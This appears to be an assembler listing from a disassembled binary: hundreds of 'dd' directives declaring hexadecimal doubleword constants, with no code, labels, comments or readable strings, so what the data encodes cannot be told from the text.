		dd 4DD478E6h, 3E95D6h, 0C4C1EC1Ah, 0C272563h, 34DEAA00h
		dd 3F77928Ah, 737B004Ah, 605E55C0h, 42717675h, 7DF6400h
		dd 1153F9A1h, 77B600D8h, 2F0DDC29h, 0E007AAC4h,	66441A09h
		dd 9BE1EAF0h, 0F13C00DAh, 73562FC2h, 0CF280663h, 3A00C46Eh
		dd 0AB03EE25h, 178AB6h,	76D60187h, 0C8C31E22h, 5A8880E5h
		dd 2440B5Eh, 1FFE89Ch, 19241872h, 0CB977080h, 40A28BE9h
		dd 88AAFE89h, 3B854D48h, 0ABB50064h, 2347D95Bh,	5984037Fh
		dd 1E9C8F43h, 0BD416FE8h, 0A2DC1800h, 5FB1FC09h, 0F02A00F1h
		dd 0A497FF69h, 0DF3F7C40h, 481D80B8h, 786B7EE9h, 3B5A0019h
		dd 0CA9D6813h, 84923CF6h, 589AB800h, 63ACAA2Bh,	0D630F71Ah
		dd 117C0038h, 5D6C34A9h, 5B0E714Bh, 0C775E16Eh,	95F3028Ah
		dd 0A729D078h, 0DD840025h, 6A013DEFh, 0D6240EF1h, 600B477h
		dd 0E9C9DC7Dh, 631D008Ch, 0AB60F3A5h, 14007991h, 0E0553716h
		dd 0C73DC3h, 0FD66D485h, 0B8B16D74h, 29AB7B00h,	65A3B4CFh
		dd 0FA390990h, 2409469Fh, 70872F89h, 0D0F107C8h, 0DC9D76F2h
		dd 81C13Fh, 125161E3h, 4165A8h,	73B242CAh, 922B8E9Eh, 0D17FE9F6h
		dd 1FF1A48h, 56E22761h,	7AF051F4h, 49521E02h, 4888834Ch
		dd 0A2809C6Eh, 0C092A1A6h, 502DC400h, 46CB0664h, 3AC503CDh
		dd 8B43EC76h, 25532190h, 24F10100h, 0EAEF7012h,	836A0002h
		dd 686C79Dh, 4903D0B4h,	0D83DDF96h, 0A67CB884h,	797307B1h
		dd 101AE985h, 4B2FBB3Ch, 0FF210C00h, 579B05D1h,	28DA601Dh
		dd 7FF6F151h, 14B6D701h, 2D82C01Ch, 0E2F0C30h, 0B0C7D5F3h
		dd 3D967A00h, 321FA22Ch, 0DB01FBCBh, 10865DAh, 1D3EF4h
		dd 9AD222C6h, 0E0A556D7h, 12714C00h, 948BCB28h,	0F07CB044h
		dd 60FA7BB7h, 4FA56005h, 10052C18h, 0E99ED8D7h,	3C00E012h
		dd 65FB3512h, 53A714BBh, 11ED2A6h, 0E144851Eh, 4AAC809Dh
		dd 0D501985Ah, 25DC3E4Eh, 0F7C81F0Eh, 0D4920126h, 700787BFh
		dd 97D8F45Ah, 0A2EF9504h, 0D4811071h, 2AF4F4C1h, 0B1040EBDh
		dd 448040C5h, 0BC4FCA4Ah, 55AEFC00h, 74D2CEE2h,	16C0096h
		dd 0A9FD257Eh, 16001E99h, 6E0BDAF1h, 114A77h, 0E60CC75Fh
		dd 0F3BDBA6Ch, 0CD002790h, 0AFDF0E68h, 2A69E5h,	0E8B95AB4h
		dd 256C309Eh, 0CE450A00h, 7A6A7E02h, 0A1550438h, 80F5BFF2h
		dd 0E2C71DE5h, 0D7FEDD00h, 0BAD11BCFh, 0EEE50371h, 64AD794Dh
		dd 0C82BBBE9h, 321F3651h, 20423A2Fh, 40450856h,	1F9630h
		dd 37347057h, 3C489DAFh, 999B5403h, 0C3F56298h,	9E26B8ACh
		dd 71450059h, 8F3F63A9h, 500CFFBh, 0CE7E097h, 988AE1h
		dd 0C383E469h, 91DFBA1Ch, 22D0E1Eh, 20CEFB00h, 98163E57h
		dd 5B4B3C67h, 98E4DB80h, 2CEF239Ah, 0CC84DA07h,	0AE2F726h
		dd 0BFC8E17h, 0FE6180F2h, 0F8F1FD6Eh, 0F8600FCh, 2E2B11A8h
		dd 0AC0059AFh, 18960889h, 4629D1h, 3E1D636Dh, 0D0142A21h
		dd 0E324AD00h, 2173987h, 1F08B21Ah, 0C0D54F55h,	86055CD2h
		dd 1E002E79h, 8470EB34h, 0E4DC725Ah, 0FBE8A5h, 50AFC45Ch
		dd 19096CA3h, 86ECC700h, 9CC6DC88h, 0AA7B00B9h,	0C44AA874h
		dd 0E100A9ADh, 0E66F16DEh, 6A305C6h, 0EF104CE3h, 0F700304Ah
		dd 20403CBEh, 0B70FA683h, 0DCD26B41h, 2F0396F9h, 4D0469C9h
		dd 0AD938058h, 132701BFh, 0D5ECB67h, 724E204Ch,	0ED902851h
		dd 158C2468h, 585A1A26h, 0E16A7601h, 0D2C402B2h, 303F3AA8h
		dd 0D0BE100Bh, 50E201FDh, 8BD01C03h, 0C1933AC8h, 9DD8D200h
		dd 0B9AA8E1Bh, 8ABAF40Eh, 0E0DE2058h, 28FA4Fh, 55A1017Dh
		dd 83A35E8Bh, 72274C00h, 2AF998CDh, 1F80003Ah, 0CA22131h
		dd 8D009FC2h, 4B3BD4FCh, 0D1A6DCh, 0E326A404h, 0E0A83A57h
		dd 0A0007DE6h, 11AA4BB4h, 0C2728Fh, 18E9C4DAh, 3B99610Dh
		dd 90F17301h, 456E8094h, 11F9CCh, 15B6E2FEh, 0F0839CFDh
		dd 0D25AAA00h, 0C3A20F19h, 2D01018Ah, 9E6D5B89h, 0DB3EE08Fh
		dd 79DA793Eh, 9600A49Ah, 0C36F4BB7h, 0FD23F9h, 8E3DB85Bh
		dd 67E094C0h, 8D1E1960h, 0E89128DAh, 0B5510033h, 5B2D25DDh
		dd 5400B085h, 7E63DB41h, 2DC05C5h, 0C460BBDAh, 0C8E009BAh
		dd 9F00CA3Dh, 0C3AA7D82h, 7C29F962h, 65170106h,	777CE9Ah
		dd 55108305h, 1FFD9Ch, 0B80C43FAh, 3DC0484Eh, 0DCF6D6E2h
		dd 1FFAA71Fh, 61FD1240h, 1DA1AD43h, 2EE458h, 418EC93Ah
		dd 0BB0F7E50h, 0C6F6D76Fh, 139BF13h, 95CD8BDAh,	2009CC7Bh
		dd 572E8918h, 0F01E0D9h, 0C3CADD81h, 0A03BF4h, 0F639EDAEh
		dd 0DB988B83h, 6E3ABA03h, 0E84C72D9h, 36B6351h,	0C2D25E3Bh
		dd 0F42C54B7h, 291DE083h, 206A6270h, 0D80C00BCh, 0AB664ECEh
		dd 0FE0ED1D3h, 0E7252805h, 9AF3E426h, 0D234F8BFh, 60ADEC04h
		dd 0F8FC982Bh, 4A007ACEh, 70DF48B5h, 0E8E80D8Ch, 0DD2D0065h
		dd 0D2CF8BF0h, 40F5EFDh, 0A0B313C8h, 7CD2A4Dh, 190C009Ch
		dd 66D3868Bh, 983CA358h, 0F401FA1h, 0B7B0E07h, 0B97D3B30h
		dd 0B804065Ch, 78A5D15Bh, 4C2B550Fh, 6F897843h,	6818009Ch
		dd 0CE098A63h, 70181AACh, 9121DECAh, 0D2390425h, 809332F9h
		dd 371799EFh, 74F898C0h, 94BAE2C2h, 314A0098h, 0B6C32550h
		dd 0F4DA800Ch, 486D088Eh, 0FD0014E0h, 0C07C93B9h, 0EF026B24h
		dd 1B5AA523h, 0E4520Bh,	74B25C9Bh, 89271ED4h, 95D68300h
		dd 811D0238h, 800E0020h, 19039F93h, 0D5E4FBABh,	2CC380A0h
		dd 7E9ED90Dh, 5ADC108Ch, 8F600075h, 730EE294h, 0CD079AC0h
		dd 33DC3CFAh, 8A7F2980h, 24C400E9h, 3BD1BA82h, 0B400517Eh
		dd 761707A6h, 0B878923Ch, 106265CDh, 0C1042E36h, 7746AC5Fh
		dd 0E579F0h, 3C0D4A50h,	94A0BCCBh, 666E5900h, 2CC1F9BBh
		dd 9AE7014Bh
		dd 5C0D45Ah, 0EDA93029h, 0B6946400h, 1FC623B3h,	0ECE238h
		dd 462A2E8Eh, 4510492Fh, 6FABEF00h, 36337450h, 62C1CE3h
		dd 20289824h, 0D100F3AFh, 839B2F15h, 1C5601ADh,	0C0955162h
		dd 0F15DC620h, 2703ED54h, 41292BC0h, 0C2E2B897h, 260D01BBh
		dd 55FAB52Fh, 0FCEE20E8h, 0AA38EFE0h, 0DC00FC72h, 7AD3D786h
		dd 0E195EBh, 5F3CFB62h,	50CEAF13h, 0D95848F2h, 7D1C0002h
		dd 0A01AC7CDh, 1E57A8Ah, 1F1E07ABh, 0E497CE72h,	920048E0h
		dd 46D3E884h, 0FDDA9AFh, 17E23B70h, 5B60206Fh, 0F4F89171h
		dd 30B05700h, 5D68CA97h, 88D8009Bh, 0E3A8644Dh,	3F00D62Dh
		dd 0BCE90C89h, 3B400Fh,	1EB1CA28h, 75B77F02h, 9D65553Fh
		dd 700B509h, 9F7190EAh,	4AFE47h, 4698CC37h, 354F610Ch
		dd 5D75CD00h, 12A58B17h, 30187756h, 0BDA94BB2h,	0FEEE6B47h
		dd 0BC00ACE8h, 0B97E0828h, 709CD12h, 73650241h,	7B75E0C1h
		dd 281E60EDh, 8F00896Fh, 34085943h, 0C45A006Dh,	0F84838E2h
		dd 6E00240Ch, 0D5C9F81h, 3C08ECF2h, 190FCB46h, 0CF616C61h
		dd 0F8DBFD33h, 5060298Bh, 4E388D74h, 3EA400F8h,	4B3948ACh
		dd 0A800856Eh, 8A5942E8h, 8C0B38h, 3E8F4C6Fh, 5DF6721Ch
		dd 925FBD00h, 30BAEDE0h, 20FC1EE9h, 4033DD4Dh, 66BE639Eh
		dd 8100CFCAh, 69FFC964h, 45A787h, 83C7FEBh, 91F273B4h
		dd 60115D00h, 1E807AB2h, 2C642870h, 39DF00E7h, 62B71ACh
		dd 99E05288h, 9EFB4D01h, 32FEA443h, 3E086FD0h, 0BF00C90Dh
		dd 96DB04C8h, 8F737348h, 7EA5C300h, 819E5680h, 9C9B1F93h
		dd 0EF64C0F3h, 0C93CB2A2h, 0D004CF2h, 0B38E287Dh, 7ACA50h
		dd 9E9104F1h, 5FDCB882h, 0E4002EF6h, 3FDDDB1Ah,	365EF56h
		dd 0C04F72FBh, 8DB0FA18h, 570046D2h, 0AB22833h,	30DBB503h
		dd 2A1880FFh, 2D017465h, 53F206FDh, 7260B9C2h, 0E47551A7h
		dd 414AF4h, 270BC45Bh, 4862EE76h, 67CC7100h, 3CC9BAA0h
		dd 575C006Fh, 6156CE37h, 7D002BABh, 333F3191h, 0F4AF47FAh
		dd 0DD0D002Eh, 10094A99h, 2707E8D4h, 6F9ED5E4h,	0EE1E5080h
		dd 0D0B327CFh, 86008956h, 0A65DF417h, 40A92674h, 0AD3903DAh
		dd 7EC855CAh, 31006B4Dh, 4757E5F9h, 3CB68197h, 0A48096F3h
		dd 0E99FDA3Bh, 0FB001CC2h, 9A6476EEh, 28AB44h, 46D638F8h
		dd 9F8DA4A3h, 3DCBBE00h, 95F90459h, 51663ABAh, 804AD69Eh
		dd 0BE5449C6h, 1514C24Ch, 8444E2h, 9F148B8Eh, 71DD55F1h
		dd 13F400C9h, 23ADB684h, 8A0041FEh, 5C17F2B1h, 655F4Bh
		dd 832A4FE4h, 0A36B8E49h, 1DBBC60Fh, 3D4A87DBh,	4591A190h
		dd 0AADC0755h, 0C046BFB2h, 0DEB09F2Bh, 0EC6573Ah, 40BE28A5h
		dd 0B5DB682h, 964B2714h, 0AD00B65Ch, 22053202h,	7A5E00D2h
		dd 607910E7h, 0EE00F5A8h, 0C2CB2982h, 0F81C2330h, 7F350F90h
		dd 0E3602093h, 0F6644E52h, 5E221409h, 54D1069Fh, 0AC810092h
		dd 0F1BC13B2h, 490FA71Ch, 87E6DBCBh, 66802606h,	1E8940Dh
		dd 0BB27B515h, 200E7977h, 0F81E8ACFh, 0DBC03082h, 87897493h
		dd 0AAE3004Ah, 1948EE84h, 6F00095Bh, 0C4692373h, 89C3A8h
		dd 0BB9150F9h, 56CB2D63h, 4ACEB31Ch, 0E2CC4487h, 65450DF0h
		dd 9F1A39DEh, 94235080h, 0FC2C13F7h, 35ED1007h,	99F0CF53h
		dd 7C7D6Fh, 113F8C8Eh, 62236A0Bh, 60CCAB00h, 9266B519h
		dd 784F0058h, 0F4B28B5Bh, 8D000425h, 0FB31A707h, 0F43EE31Ch
		dd 5A970057h, 44D06B21h, 1D009F10h, 0EC46317Bh,	606E8976h
		dd 0FFFD70E6h, 2013DE52h, 40406587h, 40B1F18Ch,	74310193h
		dd 64F8EF67h, 9F47E070h, 0E800BC90h, 8CB013FDh,	1E0E1F5h
		dd 0D04A6558h, 30DAAC10h, 9E02718Eh, 0CE74383Fh, 0B070607Fh
		dd 138800E8h, 4DD28A94h, 35008999h, 222EFAC8h, 79F30CBh
		dd 0FF61628h, 9C7D80ADh, 0E002BF51h, 26A1AE6Ah,	0BD81C0A5h
		dd 11E100A7h, 62634BCCh, 0E800EC7Bh, 0F1D66B06h, 9C4B3E2h
		dd 0CDADFA60h, 0FC457800h, 240FBFFDh, 0E164EAE5h, 527FFE83h
		dd 0BA94CA81h, 0E01FAF41h, 920070C0h, 75A28BEAh, 48055A06h
		dd 6D0020C6h, 0E598D63Ah, 0FC00D013h, 10EB931Bh, 506F42BDh
		dd 72CBF05h, 0A09DCE6h,	5AA950D8h, 0F4DE0FB5h, 200A864h
		dd 3D263883h, 0C2AA03FEh, 8B04D0B7h, 79472413h,	1D183200h
		dd 1E89EF8Ch, 4D76F2Dh,	0C0FBCC2Fh, 5E3CC614h, 8C03D173h
		dd 5D2D813Bh, 3F68D87Ch, 0FC9B0BD8h, 6380AE7Dh,	4F3B25C1h
		dd 0E1A9FE00h, 713CA7E5h, 7D7E70h, 1B9AF1D5h, 6B22A6ACh
		dd 0EA474000h, 9F3F8EAAh, 1E900ECh, 7E023B91h, 0B53F46BCh
		dd 0C660037h, 0CDFF793Ch, 82B13EA5h, 52ED8F80h,	920981Ah
		dd 90C7350Eh, 0C59967BDh, 0E6DF5B00h, 0C6870065h, 0CFA54FFh
		dd 9B008514h, 7DC5A63Ah, 3C04C751h, 3502707Fh, 462CF58Fh
		dd 0DD807C63h, 630089D9h, 763F0DA0h, 0FF6D7Bh, 0F4309175h
		dd 0FB95116Ch, 99F22807h, 1AD59FFAh, 59E1E900h,	0F50D791h
		dd 0D3BF9803h, 0B441E0C0h, 0E958DFA6h, 0A3BD004Dh, 7F11FC2Dh
		dd 0B9D600A5h, 436A27A0h, 0C9005D5Ch, 0EAA49790h, 764226h
		dd 0BD5EB8A1h, 81884762h, 356CD82Eh, 91C92100h,	95F3BAh
		dd 0CABBE179h, 0F78F6573h, 0E8CEF500h, 86FCFDCDh, 44D5CD1h
		dd 7EE96800h, 0CB4E54E3h, 0E6C07200h, 0BB35E70Dh, 7A050062h
		dd 0E05BD17Fh, 1103145Dh, 0F8846709h, 7113D056h, 309CF00Ah
		dd 1920F649h, 0E2174408h, 760023ABh, 55BDBE21h,	67F700B6h
		dd 500ED5DFh, 0BF00E49Ah, 0F411C27Bh, 5CA5C94h,	6B6EB4C5h
		dd 0D734C0F1h, 8CE28AAAh, 0C91C58CEh, 0DF5A00BAh, 115DCF4h
		dd 9BCF1606h, 87D92612h, 0C5EB4110h, 63A20710h,	0B63200F4h
		dd 42F68EC2h, 0E40FE8EFh, 97289Bh, 0ED80AED1h, 99D200F4h
		dd 1C79456Dh, 9A004146h, 0BB4D5D8Ch, 0FBEE7A8h,	678086D1h
		dd 10F512A0h, 80A0B22Fh, 0FE007611h, 95436B9Dh,	3A825A85h
		dd 0F0004F8Fh, 5DB0C363h, 12002A33h, 328C6C29h,	1E0D6275h
		dd 1E94D7F3h, 40FF1C44h, 0B5FC6158h, 3F18E3A1h,	0D5B06092h
		dd 53C400C6h, 1879710Eh, 887F2454h, 800C263Eh, 93B7AF02h
		dd 1F8353C0h, 8D3051h, 32B0A5FDh, 7E502524h, 0F130359Ch
		dd 0D3135062h, 1F4B0034h, 43AFF9B2h, 24005285h,	7C06A7Ch
		dd 2AB5BAh, 0AA80C9Ah, 0C2A1EE2Bh, 0BF604100h, 0CA948B2Dh
		dd 9FB2629h, 0F01C02C2h, 0CC808D5Ah, 45D55BADh,	0D1665206h
		dd 70A63B3h, 530BD649h,	5DB1A084h, 8E4CBDC2h, 737E007Dh
		dd 8A836B57h, 31CD0F09h, 7980A942h, 3EE6E566h, 1B24851Dh
		dd 0A8FBAE04h, 541E0090h, 0DA2B00EAh, 747FE796h, 1B16F270h
		dd 7718877Bh, 343B661h,	129EB275h, 0CE37D8Fh, 42C1F8F0h
		dd 717FC800h, 1ABA0838h, 13E0094Fh, 6C486DC3h, 0DF00B966h
		dd 0B2AE2A3Ch, 78CDB74Ch, 0F5630047h, 5F9294DCh, 37005909h
		dd 8AF6318Bh, 0ACE122h,	0FD40A829h, 0EB543E1Ah,	0AB00DFE8h
		dd 0FA486C1Bh, 0EB80FE6h, 92A7614h, 0B8094EFh, 97871359h
		dd 6B1C4500h, 68CE5C6h,	478D1C4Eh, 566487DFh, 57DC60E7h
		dd 90001B2Ch, 4E17545Ah, 0F8F1E573h, 0A96718F9h, 0E1EB5039h
		dd 0FEE262F0h, 7A526630h, 42F4B7h, 0FA43AD6Ah, 0AFE5F523h
		dd 0E7F7E306h, 1838DB7Ah, 0F41D2CC4h, 0B900CBCDh, 0FBFAE23Eh
		dd 13A61D3h, 0C50A5744h, 0DC264719h, 78C8F24Ah,	0FDB14064h
		dd 68007727h, 144B7C58h, 602BBF6Fh, 96BBE90Eh, 5A0F1B0Bh
		dd 825CE73Fh, 60D985DDh
		dd 782023B6h, 0A7941E9Bh, 2E4BC50Ah, 51B40348h,	0D797C9E5h
		dd 4E48049h, 0BD1EA8ABh, 9D00D2E7h, 9BC603F6h, 0AA179C7h
		dd 9C863631h, 813C80B8h, 0CFFB2F6Dh, 0DD3A4E98h, 5CB0349h
		dd 0F8600496h, 32355Dh,	83A6E8C4h, 8887E44Ah, 0D405CEF6h
		dd 39A14C10h, 7998DA80h, 0EBD30102h, 7528A801h,	0E0EDC4B4h
		dd 0E9464760h, 546FB1h,	0C7F0523Eh, 328A5FEFh, 0F2A3600h
		dd 1DE7CC5Ah, 7CA10058h, 0BAE4A6D9h, 2678DA94h,	5F1A5900h
		dd 0C24BE670h, 54690B61h, 0D083D975h, 0AFC0041Ch, 10EED297h
		dd 67F4E7F2h, 904D5C00h, 7C71CF21h, 22EF00BBh, 0A538B8F2h
		dd 8200A839h, 2CE485F9h, 3C5D1F1h, 0BB432568h, 8B9A1557h
		dd 9F09DFC0h, 0F04C1704h, 1C7C7BAh, 0FEDAE1D0h,	8068C039h
		dd 914864Eh, 2B89D200h,	97431E77h, 2834F87Eh, 948A62h
		dd 64A0CF67h, 0BAB67B65h, 0BFE1D700h, 0FA66BCEBh, 0CC16008Fh
		dd 80A2CA4h, 7E79BB4Bh,	95A3151Fh, 68A66D80h, 13DF889h
		dd 0C42F9975h, 20D1CDF1h, 5A00418Fh, 0FADE02FFh, 195B110h
		dd 6236A2F2h, 4B7A5227h, 2ED00420h, 0CA20292Dh,	0F40770CDh
		dd 2CAAF07Ch, 3E472B51h, 41943087h, 2660AE6Eh, 0FBBDB8A7h
		dd 6C2F68C0h, 0C0095350h, 8E10E048h, 0E301DA83h, 2FD557EBh
		dd 0BFD82476h, 0D4A601DDh, 86CB6DCAh, 0DBF8F0C7h, 2CDF450Eh
		dd 4A780DCh, 0FA5D5BEEh, 776D0090h, 0AA6B1A65h,	8A00A9DDh
		dd 52A533BCh, 396A7h, 28FEBA19h, 7B3B6E9Fh, 42EBBE00h
		dd 57EC11F1h, 6F0800DCh, 29BD4315h, 0F200A8FDh,	8395D8BCh
		dd 0C291D0BAh, 0FA19C6B8h, 0F9A02D20h, 0B8BD0049h, 9D931AECh
		dd 80AC2F46h, 1443E501h, 0BAFDD990h, 0E97A070Fh, 4190D6D7h
		dd 4591A7h, 7EFCB37h, 0A352BE8Fh, 16F7F0A0h, 0E6603A00h
		dd 0F2869DE7h, 6F7007E0h, 13AE08DEh, 0C81D2A01h, 40582DB3h
		dd 0A09DF4E0h, 3C7AB5B0h, 0CF01ADF8h, 0C792B3F7h, 6180478Ch
		dd 0ED982580h, 2094C264h, 27127F08h, 17BF4379h,	962B1800h
		dd 952F850Dh, 0ABC905E1h, 0D9827Fh, 10BF52D0h, 28988A6Dh
		dd 281E2A00h, 81CF53D5h, 0A74403F2h, 4DA51BE6h,	0C0F8C281h
		dd 0E8A0D4E0h, 0C0033912h, 44676335h, 0DAD8D346h, 2AD080EEh
		dd 17D25DEh, 4FF0B389h,	0BD267E56h, 8C459h, 92E23917h
		dd 216D7351h, 0A5315403h, 6934FBh, 0AFDA4B48h, 0C3E12B11h
		dd 53DB8000h, 0A933BA7h, 5268C0EBh, 0F606E32Dh,	233A9900h
		dd 4C54A7B3h, 1C9F205h,	197B4144h, 0C83B309Ch, 0BD00A2A8h
		dd 0AED75054h, 0CE2643h, 59FA4F98h, 0F970C835h,	3EE0C300h
		dd 0A9784107h, 977309FEh, 3C21EB8Ch, 24585214h,	6E008A68h
		dd 0D0E946F9h, 1D5DFD7Ch, 0D99B14CBh, 703520EBh, 8407F2BFh
		dd 57F3773Dh, 0E88095F0h, 91B038F0h, 33A6F950h,	0CAD9C390h
		dd 0DA3814B1h, 703A39C1h, 0C17D6CE6h, 0C0D64801h, 0DB6BFB71h
		dd 1F0AF4h, 81115091h, 19C87053h, 0B69ED1Fh, 0B5286E83h
		dd 85E1B0F0h, 0BBA400F4h, 0FDDD8183h, 0B6005AC2h, 4A035C12h
		dd 6BBD5Fh, 0BCA89DF7h,	6811FFE3h, 0D3AC2400h, 75FB3E1h
		dd 6ADD0084h, 70123B72h, 0CE1C77B8h, 4807908h, 0EAD7E219h
		dd 0DA8F1F2Ah, 8112C02Eh, 0F360E806h, 2C4ABB00h, 7948FF3Eh
		dd 513C3A0Ch, 12262000h, 4096F9Eh, 0DD82CB00h, 6C220B57h
		dd 3E100CAAh, 0DED8981Ch, 0C5FE19E6h, 0F4A5C70Dh, 144032F3h
		dd 20EF72h, 0F7FD7B6Ah,	579C02EEh, 80B7A730h, 345760Fh
		dd 35CAD566h, 99034621h, 58C66889h, 2084E055h, 18A9000Bh
		dd 0C78C8869h, 2702BA62h, 57E2987Eh, 0E1988013h, 2AE5AA42h
		dd 4C119Ah, 2ECFC57Ch, 0B2BC0682h, 0CD074AE2h, 0BFB0D88h
		dd 0AAD5F081h, 2194CF8h, 0A8F15890h, 492CD72h, 0A90D3480h
		dd 0CAF5A37h, 301A084Dh, 6FC49700h, 9DF51D8Ch, 0DEF2CF01h
		dd 0C148EA2Bh, 0A0545EF0h, 843E020Ch, 2184D0F0h, 27022EE6h
		dd 0A9E6810h, 790C20A0h, 0D218A088h, 0EB218434h, 313A082Dh
		dd 10E45742h, 0D444E2FEh, 0C1C50C6h, 18305006h,	0A08EF3Dh
		dd 526454A9h, 3CA1CE0Ch, 0BEF8A97Bh, 82CA119h, 5641A54Ah
		dd 65F0EF0Bh, 0D85700BFh, 4BB3F159h, 0FD002D04h, 19BEA83Bh
		dd 2EF2C49Dh, 75E0A2Eh,	718D5C52h, 0F2C84046h, 0E7B8B880h
		dd 607CF432h, 6F4F132Eh, 0FC81430Ah, 4D106700h,	58283A17h
		dd 46005419h, 969D9FA9h, 6900BF1Ah, 5FC5276Ch, 0E4CE4288h
		dd 0E6DE0091h, 8148383Eh, 651D57E4h, 6D1EE595h,	696B2C00h
		dd 7B884E8h, 5CFE75E3h,	377FD05Fh, 4CA42B6Ah, 0AFE8630Ch
		dd 195889Eh, 2942188Dh,	0F9E7CD76h, 819C4040h, 0A10008ADh
		dd 0AFC11DBEh, 8D64D6h,	0BB7146A6h, 58C2C3DEh, 2C7B6303h
		dd 0E969A18Fh, 49E043ABh, 0CD0C15C8h, 29871C19h, 9873E8DCh
		dd 0A62617h, 4A4010EBh,	0D42D39Bh, 3EB0BE1Dh, 0F0C0FF55h
		dd 3D68051Ah, 89EBA8Dh,	7A2C42B7h, 1480C2D9h, 7D7264D2h
		dd 0BBEB2001h, 0C33F0F6Eh, 779FE0F7h, 662101C0h, 57754F80h
		dd 625C48C2h, 0E1E0700h, 719EC0CEh, 406F00A7h, 8BB4F3EBh
		dd 5A3E2EB1h, 56AC0042h, 5870492Ah, 0B3DE011Eh,	0F03DC2A0h
		dd 0C048D630h, 0AC25AAD7h, 129D7E46h, 4C1000BBh, 0B1B38B85h
		dd 80D45648h, 62CC3A2Bh, 48C30BA4h, 700C5AB7h, 81437AB0h
		dd 0A8DBEEB0h, 38B7458Dh, 0DB00554Ch, 61B91D2Dh, 0EA6092D5h
		dd 58E226h, 0F2C308E8h,	6CDE8C28h, 59D70F18h, 60ADEF38h
		dd 0F2D440FDh, 0F3037B17h, 0D1742544h, 0A796A03Fh, 7776008Ch
		dd 0D3172ECDh, 3600DB62h, 0D8CB3B5Eh, 7E637CBAh, 0CF7E07E1h
		dd 607A784Ch, 0C3F48F81h, 7033FA00h, 7F0E77BBh,	37420091h
		dd 69A53F55h, 982CFF1Ah, 4400D101h, 0A3A628DEh,	12710064h
		dd 0BFD1734Eh, 210C7585h, 9076CF5Bh, 6AC830BCh,	0A1594840h
		dd 2FC34C01h, 5D43840Eh, 7CFF3C0h, 136469BCh, 0E94EE03Ch
		dd 0AD0071C1h, 6D906F25h, 3986B83h, 6C656745h, 10F0AADAh
		dd 0C800E73Ah, 16232F2Dh, 67A8AF71h, 0A05EA96Bh, 63F064A4h
		dd 1FC7380Ah, 96008419h, 20038910h, 3D6500EFh, 0E27D7BCh
		dd 60002D55h, 7DEC0637h, 2BD0A784h, 0F844EAAAh,	2C3CB997h
		dd 317E07D4h, 1ED792BCh, 7404F50h, 79FC72D2h, 42F4075Bh
		dd 27DC3EC0h, 6C9C90ECh, 0BA0028CFh, 0F41BC50h,	0EB6EBC2h
		dd 0DF370D51h, 9E39D000h, 3500AD0Ch, 22AFE4D7h,	0F97B11h
		dd 1387B512h, 27F4E052h, 8EA5109h, 89102716h, 2A72E8D0h
		dd 6C13AA5h, 0E5C7681h,	5C663C9Ch, 9D008384h, 0DB677AD2h
		dd 9047882Bh, 43CA003Ah, 0C5B03D53h, 0BAE2581Dh, 6485860Fh
		dd 0D0D380E0h, 745FD4h,	0DB6FD873h, 3D96B1CAh, 8C658728h
		dd 4E47DD0Eh, 779DE09Ah, 0A0416Fh, 0F29E7E86h, 1D7B18A6h
		dd 89B8D0ABh, 641E3577h, 0ACC9B47Ah, 0E06415DCh, 78AE12F2h
		dd 1FBFEA00h, 5CC298C8h, 2C197285h, 1007D9Eh, 4626EF42h
		dd 9CC5D0BAh, 12A7D809h, 0C0501594h, 6D5B73F1h,	0F0B47B04h
		dd 488C1E2h, 0D0100E90h, 6B87842Fh, 0B414E204h,	0EF60FC95h
		dd 563FDA2h, 0DDD2E6A5h, 0CAF4205Fh, 0C4050C5Ah, 84F656C8h
		dd 5FD802Ch, 0EC694AAFh, 7C442B4Dh, 0E12B3CA0h,	4090A02Ch
		dd 0C47C1E0Ah, 9030C5C5h, 0F630F232h, 21D660ECh, 7CBE6ADh
		dd 116FA130h, 0FAECC3B7h, 28C8970h, 787F10A4h, 655ED411h
		dd 0D70AE706h, 9618516Dh, 0E9785829h, 0F3B032Ch, 39D5CC72h
		dd 1FE691C0h, 3A95001h
		dd 6606027Dh, 90044020h, 231E3F30h, 3EDAD0E0h, 2C00F39Ch
		dd 4CE2112Fh, 161E3346h, 493870h, 0EC1FD117h, 0A90BA726h
		dd 89CE786Bh, 600000CCh, 0E13EF061h, 0F918C041h, 0E246D900h
		dd 4E305B09h, 74000E23h, 88CD18DCh, 1E72D0D9h, 80608778h
		dd 5D5E03BDh, 89026605h, 0AB99DDD1h, 43E4A00Ch,	0A878581Bh
		dd 937B6980h, 1E178490h, 0A4C48314h, 9EE694E0h,	0FD026AECh
		dd 2E75C543h, 0C2E4C05Bh, 116D1806h, 0A9414858h, 4721930Fh
		dd 552F235Dh, 0A23100F7h, 90D0E831h, 0DD133771h, 1B0616F8h
		dd 804AEAh, 4329B4ACh, 0C1976F4Fh, 5CD7B806h, 230BCD1h
		dd 857659FDh, 0A138F363h, 0D282331h, 2CEC1D8Ah,	0B5B37FE1h
		dd 1C013D18h, 0C7A3821Ah, 0F9D08752h, 30A4539Bh, 0D0766804h
		dd 875D30D6h, 63861AB3h, 641608ADh, 80F77723h, 81B65F7Dh
		dd 403A12C3h, 85685282h, 38316718h, 305CF49Dh, 0C4547BFh
		dd 0D018FDBDh, 840305EEh, 696DFBE3h, 0CFC8209Ch, 0C36D69C0h
		dd 29C8DD2Dh, 6C84822Ah, 0C084F4D1h, 496BFD31h,	0EC572387h
		dd 0A3380A30h, 1D4018B6h, 858406E0h, 0FAE760B1h, 0E0023D1Ch
		dd 55838256h, 0E39C83EFh, 0D43CBDB5h, 627A42E8h, 0F7C05D41h
		dd 6A68D00h, 0A9144382h, 53BC8578h, 58BD8A10h, 9B3B7D61h
		dd 0B309788Eh, 88690386h, 4E0566E8h, 0A5216387h, 47484838h
		dd 0F69D0072h, 38AB86E2h, 0E1311C5Ah, 0CBB600F8h, 17A33E1Bh
		dd 0E8E60203h, 90F2B959h, 0C2A235h, 0B53AB0Dh, 118BEB0Eh
		dd 0F83E2BE8h, 4C3E78BCh, 13C726Bh, 0C84B00C7h,	3A2B12D8h
		dd 3E13786Ah, 3857CE9Fh, 7483ED01h, 0E79BEFh, 1BA0E02h
		dd 0AD76CA55h, 0E408DC3Fh, 0DF6ECCBh, 7B60B1Eh,	5FF78B06h
		dd 5EC61F18h, 64361513h, 46D83C2h, 2075592Ch, 973078BFh
		dd 0BDD048B1h, 0D66B080Dh, 0A5B12D3h, 2286CA0h,	13954324h
		dd 0FBFADE0h, 0CB535176h, 40AB9CA4h, 0B78AB500h, 5E4E130h
		dd 34B1581Fh, 0F4386109h, 0D5885CD3h, 4BEA6CF2h, 3F343F53h
		dd 498B0312h, 0C0B5F071h, 0EA23ED7Fh, 1CF90A5Eh, 0D00D31h
